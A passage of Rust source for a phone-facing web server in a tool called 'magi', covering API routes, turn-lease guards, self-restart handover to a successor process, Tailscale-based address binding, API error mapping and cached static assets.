1785            )
1786            .route(
1787                "/api/talks/{id}/attachments/{att}",
1788                get(talk_attachment_get),
1789            )
1790            .route("/api/talks/{id}/avatar", get(talk_avatar))
1791            .route("/avatars/operator.svg", get(operator_avatar))
1792            .route(
1793                "/api/avatar-settings",
1794                get(avatar_settings_get)
1795                    .put(avatar_settings_put)
1796                    .delete(avatar_settings_delete),
1797            )
1798            .route("/avatars/persona", get(settings_persona_avatar))
1799            .route("/avatars/magi", get(magi_avatar))
1800            .route(
1801                "/api/magi-icon",
1802                get(magi_icon_get)
1803                    .put(magi_icon_put)
1804                    .delete(magi_icon_delete),
1805            )
1806            .route("/api/events", get(events))
1807            .with_state(self)
1808    }
1809}
1810
1811/// One talk's turn slot, released on drop.
1812///
1813/// A guard rather than a matching `remove` at the end of the handler, because
1814/// the handler has several early returns and one `await` that can be cancelled
1815/// out from under it. A leaked id is a talk nobody can talk to again.
1816#[derive(Debug)]
1817struct TalkTurnGuard {
1818    talk: String,
1819    turns: Arc<Mutex<TalkTurns>>,
1820    released: bool,
1821    /// The cross-process half of the slot; dropped with the guard.
1822    lease: Option<crate::talk::TurnLease>,
1823}
1824
1825/// In-memory turn ownership plus the queue generation observed by a drainer.
1826///
1827/// The generation changes only after a durable queued draft is written and its
1828/// caller finds the turn busy. That lets the loop run filesystem work outside
1829/// this mutex while still making the final empty-check/release atomic with a
1830/// concurrent queue handoff.
1831#[derive(Debug, Default)]
1832struct TalkTurns {
1833    live: HashSet<String>,
1834    queued: HashMap<String, u64>,
1835}
1836
1837/// The atomic initial-state decision made by
1838/// [`Ui::begin_talk_turn_unless_pending`].
1839enum TalkTurnStart {
1840    Claimed(TalkTurnGuard),
1841    Busy,
1842    /// Another process holds the turn lease. Unlike `Busy` there is no local
1843    /// drain loop that would answer a queued draft, so the caller refuses.
1844    Foreign,
1845    Pending,
1846}
1847
1848impl TalkTurnGuard {
1849    #[cfg(test)]
1850    /// Does this guard still own the on-disk lease? A transient failure to
1851    /// check counts as owning: the next beat decides. A guard that lost it
1852    /// must not start another turn on the same session.
1853    fn owns(&self) -> bool {
1854        self.lease
1855            .as_ref()
1856            .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
1857    }
1858
1859    #[cfg(test)]
1860    /// `talk::respond` while renewing the on-disk lease, so a turn longer
1861    /// than the lease's TTL still reads as held to other processes.
1862    async fn respond(
1863        &self,
1864        talk: &mut Talk,
1865        talks: &Talks,
1866        cfg: &Config,
1867        text: &str,
1868    ) -> anyhow::Result<()> {
1869        let lease = self
1870            .lease
1871            .as_ref()
1872            .context("the turn guard no longer holds its lease")?;
1873        talk::respond(lease, talk, talks, cfg, text).await
1874    }
1875
1876    /// Release while the caller already holds the claim mutex, closing the
1877    /// last-drain/arrival gap without letting `Drop` revoke a later claim.
1878    fn release(mut self, live: &mut TalkTurns) {
1879        // The on-disk lease goes first: while `live` still names the talk, no
1880        // local claim can start, so nobody observes the slot free but the
1881        // lease held.
1882        self.lease = None;
1883        live.live.remove(&self.talk);
1884        live.queued.remove(&self.talk);
1885        self.released = true;
1886    }
1887}
1888
1889impl Drop for TalkTurnGuard {
1890    fn drop(&mut self) {
1891        if self.released {
1892            return;
1893        }
1894        // Lease first, then the in-process slot (see `release`).
1895        drop(self.lease.take());
1896        if let Ok(mut live) = self.turns.lock() {
1897            live.live.remove(&self.talk);
1898            live.queued.remove(&self.talk);
1899        }
1900    }
1901}
1902
1903/// Releases a resume claim, so a run is resumable again after the attempt.
1904struct ResumeGuard {
1905    run: String,
1906    resuming: Arc<Mutex<HashSet<String>>>,
1907}
1908
1909impl Drop for ResumeGuard {
1910    fn drop(&mut self) {
1911        if let Ok(mut live) = self.resuming.lock() {
1912            live.remove(&self.run);
1913        }
1914    }
1915}
1916
1917/// Bind the port, waiting briefly for a predecessor to let go of it.
1918///
1919/// A restart hands the address from one process to the next, and the old one
1920/// holds its listener until it unwinds. A single `bind` can lose that race,
1921/// and for a restart triggered from a phone that means the deck never comes
1922/// back with no terminal around to say why.
1923///
1924/// Bounded, and only for the one error a wait can fix: anything else fails at
1925/// once, because retrying it would turn a clear message into a silence.
1926async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1927    const WINDOW: Duration = Duration::from_secs(10);
1928    const GAP: Duration = Duration::from_millis(250);
1929
1930    let deadline = std::time::Instant::now() + WINDOW;
1931    let mut said = false;
1932    loop {
1933        match tokio::net::TcpListener::bind(socket).await {
1934            Ok(listener) => return Ok(listener),
1935            Err(e)
1936                if e.kind() == std::io::ErrorKind::AddrInUse
1937                    && std::time::Instant::now() < deadline =>
1938            {
1939                if !said {
1940                    said = true;
1941                    tracing::info!(
1942                        "{socket} is still held - waiting up to {}s for it, \
1943                         which is what a restart looks like from here",
1944                        WINDOW.as_secs()
1945                    );
1946                }
1947                tokio::time::sleep(GAP).await;
1948            }
1949            Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1950        }
1951    }
1952}
1953
1954/// Signalled when an upgrade has replaced the binary and the successor should
1955/// take this address over. One per process: there is one address to hand on.
1956static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1957
1958/// Set to `1` on the successor when the loop was running at handover.
1959const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1960/// Keep a dynamically assigned listener address stable across replacement.
1961const RESTART_PORT_ENV: &str = "MAGI_WEB_RESTART_PORT";
1962
1963/// Whether the environment value asks for the loop to be resumed.
1964fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1965    value.is_some_and(|v| v == "1")
1966}
1967
1968/// Start this binary again with the same arguments, detached.
1969///
1970/// Called from [`serve`]'s exit path, *after* the listener has been dropped,
1971/// so the address is already free when the successor binds it. The first
1972/// attempt at this spawned the successor two hundred milliseconds before
1973/// exiting instead, and the released binary - which has no bind retry - died
1974/// on "address already in use" with its stdio sent to null, so the deck
1975/// simply never came back.
1976///
1977/// Detached and without inherited stdio: the successor has to outlive this
1978/// process, and must not hold open a pipe a terminal is waiting on.
1979///
1980/// The scheduler is restarted separately; execution workers are not awaited.
1981///
1982/// The successor's stdout and stderr are appended to `<home>/web.log` rather
1983/// than sent to null: a supervisor's redirection only ever held the first
1984/// generation's descriptors, so every later generation logged nowhere. The
1985/// pid of the child is returned so the handover log can name it.
1986fn spawn_successor(home: &FsPath, port: u16, exe: &FsPath) -> Result<u32> {
1987    let args: Vec<String> = std::env::args().skip(1).collect();
1988    updater::log_step(
1989        home,
1990        &format!("restarting: {} {}", exe.display(), args.join(" ")),
1991    );
1992    let log_path = home.join(WEB_LOG);
1993    let open_log = || {
1994        std::fs::create_dir_all(home)?;
1995        std::fs::OpenOptions::new()
1996            .create(true)
1997            .append(true)
1998            .open(&log_path)
1999    };
2000    let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
2001        Ok(pair) => (
2002            std::process::Stdio::from(pair.0),
2003            std::process::Stdio::from(pair.1),
2004        ),
2005        Err(e) => {
2006            updater::log_warn(
2007                home,
2008                &format!(
2009                    "could not open {}: {e}; the successor logs nowhere",
2010                    log_path.display()
2011                ),
2012            );
2013            (std::process::Stdio::null(), std::process::Stdio::null())
2014        }
2015    };
2016
2017    let mut cmd = std::process::Command::new(exe);
2018    cmd.env_remove(RESUME_LOOP_ENV);
2019    cmd.env(RESTART_PORT_ENV, port.to_string());
2020    cmd.args(&args)
2021        .stdin(std::process::Stdio::null())
2022        .stdout(out)
2023        .stderr(err);
2024    #[cfg(windows)]
2025    {
2026        use std::os::windows::process::CommandExt as _;
2027        // DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP: no console to inherit,
2028        // and Ctrl-C in the old terminal must not reach the successor.
2029        cmd.creation_flags(0x0000_0008 | 0x0000_0200);
2030    }
2031    let child = cmd.spawn().context("start the successor")?;
2032    Ok(child.id())
2033}
2034
2035/// File under `<home>` the successor's output is appended to.
2036const WEB_LOG: &str = "web.log";
2037
2038/// Resolves when [`HANDOVER`] is signalled. The only waiter on it: a permit
2039/// stored by an earlier `notify_one` is consumed by the first poll, so the
2040/// signal is never missed and never wakes a second time.
2041async fn wait_for_handover(signal: &Notify) {
2042    signal.notified().await;
2043}
2044
2045/// Serve the UI independently from scheduler and execution workers.
2046/// A restart releases its listener before starting the successor.
2047pub async fn serve(opts: Opts) -> Result<()> {
2048    // Capture before self-replacement: current_exe may later name a removed
2049    // image on Linux or the renamed old image on Windows.
2050    crate::worker::remember_current_executable()?;
2051    let executable = std::env::current_exe().context("find the installed web executable")?;
2052    let (addr, warning) = resolve_bind(&opts.bind);
2053    if let Some(warning) = warning {
2054        tracing::warn!("{warning}");
2055    }
2056
2057    // Process-global, and therefore set exactly once, here: the report route
2058    // must never emit escape sequences into a browser, and toggling the flag
2059    // per request would race with a concurrent request rendering its own
2060    // report. Startup is the only moment at which no request can observe the
2061    // change. Nothing in the server turns colour back on.
2062    report::set_color(false);
2063
2064    let repo = normalize_default_repo(opts.repo).await;
2065    let ui = Arc::new(Ui::open(repo).with_merge(opts.merge));
2066    // The listener and periodic checker share one upgrade gate and state.
2067    let home = ui.home.clone();
2068    let admissions = Arc::clone(&ui.admissions);
2069    // Settles a progress record a predecessor left non-terminal - either this
2070    // *is* the successor `spawn_successor` started, or the previous process
2071    // died mid-handover. Before the router starts answering, so the very
2072    // first `/api/health` a phone gets from this process already reflects it.
2073    updater::reconcile_after_restart(&home);
2074    updater::log_step(
2075        &home,
2076        &format!(
2077            "web process started (version {}); handover log {}, successor output {}",
2078            env!("CARGO_PKG_VERSION"),
2079            updater::log_path(&home).display(),
2080            home.join(WEB_LOG).display()
2081        ),
2082    );
2083    updater::spawn_watchdog(home.clone());
2084    // `magi web` can stay up for days, and the one-time check `main.rs`'s
2085    // `spawn_update_check` does at startup only ever runs once: after that,
2086    // `/api/health`'s `update` field - and the phone's "Update & restart"
2087    // button, which reads the very same cache - would stay frozen on
2088    // whatever that single check found, no matter how many releases ship
2089    // afterwards. The periodic checker below keeps it current and is
2090    // cancelled when the listener finishes.
2091    let port = if opts.port == 0 {
2092        std::env::var(RESTART_PORT_ENV)
2093            .ok()
2094            .and_then(|value| value.parse::<u16>().ok())
2095            .filter(|port| *port != 0)
2096            .unwrap_or(0)
2097    } else {
2098        opts.port
2099    };
2100    let socket = SocketAddr::new(addr, port);
2101    let listener = bind_waiting(socket).await?;
2102    let bound = listener.local_addr().context("read bound web address")?;
2103    let port = bound.port();
2104    let url = format!("http://{bound}");
2105    tracing::info!(
2106        "magi web UI on {url} - there is no authentication, so anyone who can \
2107         reach this address can file and hold tasks: the tailnet is the \
2108         security boundary"
2109    );
2110    // A legacy predecessor may request first-migration scheduler startup.
2111    if resume_requested(std::env::var_os(RESUME_LOOP_ENV)) && !daemon::managed(&home) {
2112        ui.start_detached_loop()
2113            .await
2114            .map_err(|e| anyhow::anyhow!(e.message))?;
2115    }
2116    if opts.open {
2117        // The URL alone on stdout, for a caller that wants to open it. magi
2118        // does not spawn a browser: on the machine this usually runs on there
2119        // is no display, and a failed launch would be the only output.
2120        println!("{url}");
2121    }
2122
2123    // On its own task, so nothing this function awaits can stop the address
2124    // being answered. `hand_over` is where it is given up.
2125    let recheck_ui = ui.clone();
2126    let mut served = tokio::spawn(axum::serve(listener, ui.shared_router()).into_future());
2127    let recheck = tokio::spawn(run_update_recheck(recheck_ui));
2128    let interrupted = async {
2129        if tokio::signal::ctrl_c().await.is_err() {
2130            // No handler on this platform, so there is no signal to act on.
2131            // Never resolving is the safe answer: a failed registration must
2132            // not masquerade as the operator asking for a shutdown and take
2133            // the UI down on startup.
2134            std::future::pending::<()>().await;
2135        }
2136    };
2137    let handover = wait_for_handover(&HANDOVER);
2138    let outcome = tokio::select! {
2139        joined = &mut served => match joined {
2140            Ok(outcome) => outcome.context("serve the web UI"),
2141            Err(e) => Err(e).context("the task serving the web UI ended"),
2142        },
2143        () = interrupted => {
2144            recheck.abort();
2145            tracing::info!("shutting down the web UI; detached workers continue");
2146            close_admissions(&admissions).await;
2147            served.abort();
2148            let _ = served.await;
2149            Ok(())
2150        }
2151        () = handover => {
2152            recheck.abort();
2153            let successor_home = home.clone();
2154            hand_over(&home, &admissions, served, move || spawn_successor(&successor_home, port, &executable)).await
2155        }
2156    };
2157    recheck.abort();
2158    let _ = recheck.await;
2159    updater::log_step(
2160        &home,
2161        &match &outcome {
2162            Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
2163            Err(e) => format!("serve: returning an error: {e:#}"),
2164        },
2165    );
2166    outcome
2167}
2168
2169/// `opts.repo`, or - when it is still `--repo`'s own default (`.`) and the
2170/// process's own working directory is not a git checkout at all - the
2171/// checkout [`repos::discover_verified`] finds instead.
2172///
2173/// Only the unmodified default is ever replaced: an operator who named a
2174/// directory outright, git checkout or not, gets exactly that directory
2175/// back, and the same story downstream (a talk whose briefing embeds a
2176/// non-git directory, and an agent that has to ask the operator where the
2177/// real repository is) that has always told them so - substituting a guess
2178/// for an explicit answer would be a second, silent opinion about what they
2179/// meant. There is no instruction or task text yet to match against this
2180/// early, so only [`repos::discover_verified`]'s own-repository tier can
2181/// ever settle this - the hint tier never fires here.
2182///
2183/// [`repos::discover_verified`], not [`repos::discover`]: a candidate this
2184/// found by filesystem shape alone is not yet trustworthy - a stale `.git`,
2185/// or a git installation that is broken in exactly the way that made the
2186/// original `canonical` check above fail too - so it is re-checked with
2187/// `git::toplevel` before it is ever used in place of the operator's own
2188/// directory.
2189async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
2190    if repo != FsPath::new(".") {
2191        return repo;
2192    }
2193    let Ok(canonical) = repo.canonicalize() else {
2194        return repo;
2195    };
2196    if git::toplevel(&canonical).await.is_ok() {
2197        return repo;
2198    }
2199    let Some(home) = dirs::home_dir() else {
2200        return repo;
2201    };
2202    match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
2203        Some(found) => {
2204            tracing::info!(
2205                "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
2206                canonical.display(),
2207                found.path.display(),
2208                found.reason,
2209            );
2210            found.path
2211        }
2212        None => repo,
2213    }
2214}
2215
2216/// Close new ingress and finish only transactions publishing durable work.
2217/// The writer waits for owned admission guards, not task or chat turn leases.
2218async fn close_admissions(admissions: &tokio::sync::RwLock<bool>) {
2219    *admissions.write().await = true;
2220}
2221
2222/// Restart only the scheduler and web listener, never their execution workers.
2223/// The old listener must be fully released before the successor is started.
2224async fn hand_over(
2225    home: &FsPath,
2226    admissions: &tokio::sync::RwLock<bool>,
2227    served: tokio::task::JoinHandle<std::io::Result<()>>,
2228    successor: impl FnOnce() -> Result<u32>,
2229) -> Result<()> {
2230    close_admissions(admissions).await;
2231    if let Some(mut progress) = updater::read_progress(home) {
2232        progress.advance(updater::Stage::Restarting);
2233        progress.detail =
2234            Some("Restarting scheduler and web; active workers continue unchanged.".to_owned());
2235        updater::write_progress_logged(home, &progress);
2236    }
2237    updater::log_step(
2238        home,
2239        "restarting scheduler without parking execution workers",
2240    );
2241    let scheduler = daemon::restart_detached(home).await;
2242    if let Err(error) = &scheduler {
2243        let _ = updater::fail_progress(home, &format!("restart scheduler: {error:#}"));
2244        updater::log_warn(
2245            home,
2246            &format!("scheduler restart failed; restoring the web UI: {error:#}"),
2247        );
2248    }
2249    updater::log_step(home, "releasing the web listener");
2250    served.abort();
2251    let _ = served.await;
2252    updater::log_step(home, "web listener released; starting the successor");
2253    match successor() {
2254        Ok(pid) => {
2255            updater::log_step(home, &format!("successor started, pid {pid}"));
2256            scheduler
2257        }
2258        Err(e) => {
2259            let _ = updater::fail_progress(home, &format!("start web successor: {e:#}"));
2260            Err(e)
2261        }
2262    }
2263}
2264
2265/// Resolve `--bind` to an address, plus a warning when the answer is not what
2266/// the operator asked for.
2267///
2268/// Split out from [`serve`] because the interesting half - deciding whether
2269/// Tailscale gave us something usable - is testable without opening a socket.
2270pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
2271    match bind {
2272        Bind::Addr(addr) => (*addr, None),
2273        Bind::Auto => match tailscale_ip() {
2274            Ok(ip) => (IpAddr::V4(ip), None),
2275            Err(why) => (
2276                IpAddr::V4(Ipv4Addr::LOCALHOST),
2277                Some(format!(
2278                    "--bind auto fell back to 127.0.0.1: {why}. The UI is \
2279                     local-only and a phone cannot reach it; start Tailscale \
2280                     or pass --bind <addr>"
2281                )),
2282            ),
2283        },
2284    }
2285}
2286
2287/// This machine's Tailscale IPv4, or why there is not one.
2288///
2289/// `tailscale ip -4` is a local call against the running daemon and returns in
2290/// milliseconds, so it is fine to make it synchronously before the server
2291/// exists. Only an address inside `100.64.0.0/10` is accepted: that is the
2292/// CGNAT block Tailscale assigns from, and anything else on that output would
2293/// be a different tool answering.
2294fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
2295    let out = std::process::Command::new("tailscale")
2296        .args(["ip", "-4"])
2297        .quiet()
2298        .output()
2299        .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
2300    if !out.status.success() {
2301        let why = String::from_utf8_lossy(&out.stderr);
2302        let why = why.trim();
2303        return Err(format!(
2304            "`tailscale ip -4` failed ({}){}",
2305            out.status,
2306            if why.is_empty() {
2307                String::new()
2308            } else {
2309                format!(": {why}")
2310            }
2311        ));
2312    }
2313    String::from_utf8_lossy(&out.stdout)
2314        .lines()
2315        .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
2316        .find(is_tailnet)
2317        .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
2318}
2319
2320/// Is this address in the CGNAT block Tailscale hands out from?
2321fn is_tailnet(ip: &Ipv4Addr) -> bool {
2322    let o = ip.octets();
2323    o[0] == 100 && (64..=127).contains(&o[1])
2324}
2325
2326/// What every handler returns. Spelled out because `Result` in this crate is
2327/// `anyhow::Result`, and a handler's error is a status code as much as a
2328/// message.
2329type ApiResult<T> = std::result::Result<T, ApiError>;
2330
2331/// A handler failure, rendered as the `{"error": ".."}` body the UI expects.
2332#[derive(Debug)]
2333struct ApiError {
2334    status: StatusCode,
2335    message: String,
2336    text_reason: Option<crate::question_delivery::UnavailableReason>,
2337}
2338
2339impl ApiError {
2340    /// The client asked for something malformed.
2341    fn bad_request(message: impl Into<String>) -> Self {
2342        Self {
2343            text_reason: None,
2344            status: StatusCode::BAD_REQUEST,
2345            message: message.into(),
2346        }
2347    }
2348
2349    /// No such run or task.
2350    fn not_found(message: impl Into<String>) -> Self {
2351        Self {
2352            text_reason: None,
2353            status: StatusCode::NOT_FOUND,
2354            message: message.into(),
2355        }
2356    }
2357
2358    /// Someone else owns the thing the client wants to change.
2359    /// Re-badge an error whose default mapping is wrong for this route.
2360    fn with_status(mut self, status: StatusCode) -> Self {
2361        self.status = status;
2362        self
2363    }
2364
2365    /// A rules violation from a domain type, reported as the caller's fault.
2366    /// `Question::answer` rejects an unoffered choice, and that is a bad
2367    /// request, not a server error.
2368    fn bad_request_from(e: anyhow::Error) -> Self {
2369        Self::bad_request(format!("{e:#}"))
2370    }
2371
2372    fn completion(e: anyhow::Error) -> Self {
2373        if e.is::<crate::queue::CompletionSnapshotChanged>() {
2374            Self::conflict(format!("{e:#}"))
2375        } else {
2376            Self::bad_request_from(e)
2377        }
2378    }
2379
2380    fn conflict(message: impl Into<String>) -> Self {
2381        Self {
2382            text_reason: None,
2383            status: StatusCode::CONFLICT,
2384            message: message.into(),
2385        }
2386    }
2387
2388    /// Our fault, or the disk's.
2389    fn internal(message: impl Into<String>) -> Self {
2390        Self {
2391            text_reason: None,
2392            status: StatusCode::INTERNAL_SERVER_ERROR,
2393            message: message.into(),
2394        }
2395    }
2396}
2397
2398impl From<anyhow::Error> for ApiError {
2399    /// Errors from `queue` and `run` carry their context chain, and the whole
2400    /// chain goes to the client: "parse /home/x/runs/y/run.json: expected
2401    /// value at line 3" is a message an operator can act on, and there is no
2402    /// secret in a path on a single-user tailnet.
2403    fn from(e: anyhow::Error) -> Self {
2404        Self::internal(format!("{e:#}"))
2405    }
2406}
2407
2408impl IntoResponse for ApiError {
2409    fn into_response(self) -> Response {
2410        let mut body = serde_json::json!({ "error": self.message });
2411        if let Some(reason) = self.text_reason {
2412            body["code"] = serde_json::json!("question_text_unavailable");
2413            body["reason"] = serde_json::json!(reason);
2414        }
2415        (self.status, Json(body)).into_response()
2416    }
2417}
2418
2419/// Run a handler's filesystem work off the executor.
2420///
2421/// Every route that touches the disk goes through here rather than each one
2422/// arguing about whether its own read is small enough. Uniform because the
2423/// expensive case is not rare: `run.json` for a finished competition holds
2424/// every judgement, deliberation turn and review round, so listing a few
2425/// hundred runs is megabytes of parsing, and the executor threads doing it are
2426/// the same ones serving the change stream of every other connected phone.
2427async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
2428where
2429    T: Send + 'static,
2430{
2431    #[cfg(test)]
2432    let job = request_cost::carry(job);
2433    match tokio::task::spawn_blocking(job).await {
2434        Ok(result) => result,
2435        Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
2436    }
2437}
2438
2439/// Bulk readers have a bounded, separate execution lane. A cold health
2440/// index or multiple slow list clients cannot occupy the pool serving detail.
2441async fn bulk_blocking<T>(
2442    slots: Arc<tokio::sync::Semaphore>,
2443    job: impl FnOnce() -> ApiResult<T> + Send + 'static,
2444) -> ApiResult<T>
2445where
2446    T: Send + 'static,
2447{
2448    let permit = slots
2449        .acquire_owned()
2450        .await
2451        .map_err(|_| ApiError::internal("Bulk reader stopped"))?;
2452    let (send, receive) = tokio::sync::oneshot::channel();
2453    #[cfg(test)]
2454    let job = request_cost::carry(job);
2455    let runtime = tokio::runtime::Handle::current();
2456    std::thread::Builder::new()
2457        .name("web-bulk".into())
2458        .spawn(move || {
2459            let _permit = permit;
2460            // Capacity observations schedule their independent blocking job.
2461            let _runtime = runtime.enter();
2462            let _ = send.send(job());
2463        })
2464        .map_err(|error| ApiError::internal(format!("start bulk reader: {error}")))?;
2465    receive
2466        .await
2467        .map_err(|_| ApiError::internal("Bulk reader failed"))?
2468}
2469
2470/// Cache policy for the three compiled-in front-end files.
2471///
2472/// The whole interface is `include_str!`ed into the binary, so its content
2473/// changes only when the binary does - and a phone that keeps a copy is
2474/// welcome to, right up until the deck is replaced. Without a single cache
2475/// header, browsers were free to invent their own policy, and one did:
2476/// yukimemi's phone went on showing "Candidates must be folded before
2477/// deleting. Run `magi fold` first." - a sentence deleted two releases
2478/// earlier - from a run detail served by a deck that no longer contained it.
2479/// The delete button he was told about was right there, and unreachable.
2480///
2481/// `must-revalidate` with an `ETag` keyed on the version: the phone asks
2482/// every time, the answer is a 304 costing one small round trip while the
2483/// deck is unchanged, and the moment it is replaced the tag differs and the
2484/// new interface arrives. Correctness over bytes - this is one file of a few
2485/// tens of kilobytes on a tailnet, and being a version behind is not a
2486/// cosmetic problem when the difference is whether a button exists.
2487const ASSET_CACHE: &str = "no-cache, must-revalidate";
2488
2489/// `ETag` for the compiled-in assets, distinct per build.
2490///
2491/// The version alone would leave a locally built deck - `cargo install
2492/// --path .` twice at the same version, which is the normal way to iterate -
2493/// serving a stale tag for changed bytes. The build timestamp is what makes
2494/// two builds of `0.3.0` differ.
2495fn asset_etag() -> &'static str {
2496    static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
2497        format!(
2498            "\"{}-{}\"",
2499            env!("CARGO_PKG_VERSION"),
2500            // Length is a cheap, deterministic stand-in for a hash: the
2501            // three files are compiled in together, so any edit to any of
2502            // them almost certainly changes the total, and a rebuild is what
2503            // this needs to track rather than every possible byte pattern.
2504            INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
2505        )
2506    });
2507    &TAG
2508}
2509
2510/// Headers for a compiled-in asset of `mime`.
2511fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
2512    [
2513        (header::CONTENT_TYPE, mime),
2514        (header::CACHE_CONTROL, ASSET_CACHE),
2515        (header::ETAG, asset_etag()),
2516    ]
2517}
2518
2519/// Serve a compiled-in asset, answering `304` when the client already has it.
2520///
2521/// axum does not compare `If-None-Match` for us, and a header the server sets
2522/// but never honours is worse than none: the phone revalidates on every load
2523/// and is handed the whole file back each time. Doing the comparison is what
2524/// makes `must-revalidate` cost one small round trip rather than the
2525/// interface.
2526fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
2527    let tag = asset_etag();
2528    let known = headers
2529        .get(header::IF_NONE_MATCH)
2530        .and_then(|v| v.to_str().ok())
2531        // A revalidating client may send several, and a proxy may weaken the
2532        // tag to `W/"..."`; matching on containment covers both without
2533        // parsing the grammar.
2534        .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
2535    if known {
2536        return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
2537    }
2538    (asset_headers(mime), body).into_response()
2539}
2540
2541async fn index(headers: header::HeaderMap) -> Response {
2542    asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
2543}
2544
2545async fn app_css(headers: header::HeaderMap) -> Response {
2546    asset(&headers, "text/css; charset=utf-8", APP_CSS)
2547}
2548
2549async fn app_js(headers: header::HeaderMap) -> Response {
2550    asset(&headers, "text/javascript; charset=utf-8", APP_JS)
2551}
2552
2553/// What `/api/health` answers.
2554#[derive(Debug, Serialize)]
2555struct HealthView {
2556    version: &'static str,
2557    home: String,
2558    queue_rev: u64,
2559    runs_rev: u64,
2560    /// The same revisions [`events`] streams for the question and talk
2561    /// stores.
2562    ///
2563    /// Here because this route is what the front end falls back to when the
2564    /// change stream is not up - it re-polls health on a timer and on wake, and
2565    /// takes the revisions from the answer. Without these the fallback
2566    /// compares `undefined` against `undefined` for both stores, decides
2567    /// nothing moved, and a phone with a dead stream never learns that a
2568    /// question was asked or that a talk took a turn. `queue_rev` and
2569    /// `runs_rev` above have always been here for exactly this reason; the rule
2570    /// is that every revision the stream carries, this route carries too.
2571    questions_rev: u64,
2572    /// See [`HealthView::questions_rev`]. The standing chat's own store.
2573    talks_rev: u64,
2574    /// See [`HealthView::questions_rev`]. The notification centre's store.
2575    notifications_rev: u64,
2576    /// Notifications nobody has read yet: the bell's badge before
2577    /// `/api/notifications` has answered.
2578    notifications_unread: usize,
2579    /// See [`HealthView::questions_rev`]. The loop's counter is the one that
2580    /// is not on disk anywhere, so a phone with no change stream has no other
2581    /// way to notice that the loop it is waiting on was started from another
2582    /// device.
2583    loop_rev: u64,
2584    /// Runs on disk whose state this build cannot parse - almost always a
2585    /// schema bump, occasionally a run killed mid-write.
2586    ///
2587    /// Reported because the list silently skips them, and "no competitions
2588    /// yet" is a lie when six of them are sitting in the runs directory. The
2589    /// terminal deck learned the same lesson: a run that fails to parse must
2590    /// not disappear from the count.
2591    runs_unreadable: usize,
2592    /// The disk, and what the runs and their worktrees occupy on it.
2593    ///
2594    /// This is the incident the janitor exists for: magi alone put 30 GB into
2595    /// one shared cache and 6.7-11 GB into each run's worktrees, and a phone
2596    /// is exactly where the operator learns "the disk is the constraint" -
2597    /// the diagnosis that a run is being held for want of space has to be
2598    /// checkable on the same screen.
2599    disk: Option<serde_json::Value>,
2600    /// Questions nobody has answered yet, including ones an owner talked
2601    /// back on and is now waiting for the agent's reply to. A round trip
2602    /// never changes [`crate::ask::QuestionStatus`], so this does not drop
2603    /// while the ball is in the agent's court - see
2604    /// [`crate::ask::Questions::count_open`].
2605    questions_open: usize,
2606    /// Of those, how many actually need the owner right now: open, and not
2607    /// [`crate::ask::Question::waiting_on_agent`].
2608    ///
2609    /// The one number that means "nothing will happen until a human acts" -
2610    /// a parked run consumes nothing and progresses never - and the count the
2611    /// ask bar, the nav badge and the document title fall back to before
2612    /// `/api/questions` has answered, so those notification channels clear
2613    /// the instant the owner asks back and reappear the instant the agent
2614    /// replies, instead of sitting lit for however long the agent thinks.
2615    questions_needs_owner: usize,
2616    daemon: DaemonView,
2617    /// The independently controllable scheduler, as `/api/loop` reports it.
2618    ///
2619    /// Here so a phone that has just woken needs one request to know whether
2620    /// anything is going to happen at all: `daemon` says a loop is alive
2621    /// somewhere, and this says whether it is one this UI can stop.
2622    #[serde(rename = "loop")]
2623    looping: LoopView,
2624    /// Whether a release newer than this build is known, and which.
2625    ///
2626    /// From [`updater::Checker::cached_update`] - the same throttled state the
2627    /// CLI's `notify` mode banners from - never a live check: this route is
2628    /// polled every few seconds, and a live check on each poll would spend
2629    /// GitHub's rate limit before the operator finished reading the strip.
2630    update: UpdateView,
2631    /// The self-upgrade this deck last set in motion, or `null` before the
2632    /// first one. Read off disk, so the successor can report what its
2633    /// predecessor started.
2634    upgrade: Option<UpgradeProgressView>,
2635    /// Detached jobs survive replacement of this web process. Each reports
2636    /// its own immutable executable generation rather than the web version.
2637    jobs: Vec<WorkerView>,
2638    upgrade_request_error: Option<UpgradeRequestFailure>,
2639}
2640
2641/// Public execution metadata only. Job payloads contain private configuration
2642/// and must never be returned by the health endpoint.
2643#[derive(Debug, Serialize)]
2644struct WorkerView {
2645    id: String,
2646    kind: String,
2647    key: String,
2648    pid: Option<u32>,
2649    status: crate::worker::Status,
2650    generation: String,
2651    version: Option<String>,
2652    queue_owned: bool,
2653}
2654
2655impl From<crate::worker::Job> for WorkerView {
2656    fn from(job: crate::worker::Job) -> Self {
2657        let queue_owned = job.kind == "task"
2658            && job
2659                .payload
2660                .get("standalone")
2661                .and_then(serde_json::Value::as_bool)
2662                != Some(true);
2663        Self {
2664            id: job.id,
2665            kind: job.kind,
2666            key: job.key,
2667            pid: job.pid,
2668            status: job.status,
2669            generation: job.generation,
2670            version: job.version,
2671            queue_owned,
2672        }
2673    }
2674}
2675
2676/// What `/api/health` knows about a release newer than this build.
2677///
